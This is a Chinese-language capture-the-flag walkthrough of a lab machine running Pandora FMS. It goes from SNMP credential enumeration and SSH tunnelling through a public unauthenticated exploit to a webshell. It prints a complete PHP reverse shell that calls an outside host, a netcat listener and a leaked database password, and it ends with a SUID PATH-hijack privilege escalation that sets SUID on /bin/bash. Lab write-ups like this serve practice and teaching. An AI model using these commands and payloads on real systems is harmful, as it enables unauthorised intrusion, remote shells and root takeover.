80端口web界面
划到最下面发现两个邮箱 记录一下
尝试加上域名
dirsearch 扫描只扫到一个assets目录
但是值得注意的是这个目录里面有个blog目录
也就意味着他的网站是有博客网站的 只是我们没扫描出来
扫扫udp端口
发现161 的 snmp是开着的
用nmap 枚举进程
nmap -sU -p161 --script *snmp* $target
发现了密码 以及用户
ssh登录成功
flag在另一个用户里 我们得转换成另一个用户
netstat -lnpt
发现3306是开着的
我想在/var/www/ 里面找到有关的配置文件 以获取数据库连接所需的用户名和密码
但似乎我们无权访问
去/etc/apache2/sites-enabled/目录看看
发现有两个文件
pandora.conf 的内容
发现我们需要用localhost 访问80端口才能访问到该页面
ok 我们来个ssh动态隧道代理
ssh -N -D 0.0.0.0:9999 daniel@10.10.11.136
再挂一个sock4代理
访问成功
在最底下我们能看到一个版本
根据这个版本搜索exp
找到了一个exp https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated/blob/master/README.md
为了能让我们的exp脚本走我们的代理
我们 需要设置一下proxychains的代理 配置文件
vim /etc/proxychains4.conf
走我们的代理
尝试执行
发现执行成功!!!!
我们访问一下webshell 执行whoami
在webshell上面执行chmod 777 /var/www/pandora
然后上传我们的反弹shell代码到这个web站的根目录
反弹shell源码
<?php $sock = fsockopen('10.10.16.4', 80);$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);?>
然后访问re.php 就会触发我们的反弹shell代码了
监听 80端口nc -lvvp 80
获取反弹shell成功
获取第一个flag
ok我们进入提权环节
再次回到我们先前没有权限查看的数据库配置文件
/var/www/pandora/pandora_console/include/config.php
先尝试一下用这个密码能否直接登录root
失败了
登录数据库看看有啥
mysql -upandora -pPandoraFMSSecurePass2021
但是里面似乎没有对提权太有帮助的信息
查看suid权限文件
find / -perm -u=s -type f 2>/dev/null
发现有个特殊的文件
pandora_backup
为了了解具体的执行内容
我们cd /usr/bin
python3 -m http.server 8080
然后再kali上获取改二进制文件
strings pandora_backup
查看具体内容
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
可以看到这个核心的命令
再来用ida看看
很明显了我们可以进行环境变量劫持 提权
提权实操
PATH=/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
修改环境变量
cd ~
回到我们的家目录
echo 'chmod +s /bin/bash' > tar
chmod 777 tar
/usr/bin/pandora_backup
可以看到现在我们的/bin/bash 是具有suid 权限的
bash -p
提权成功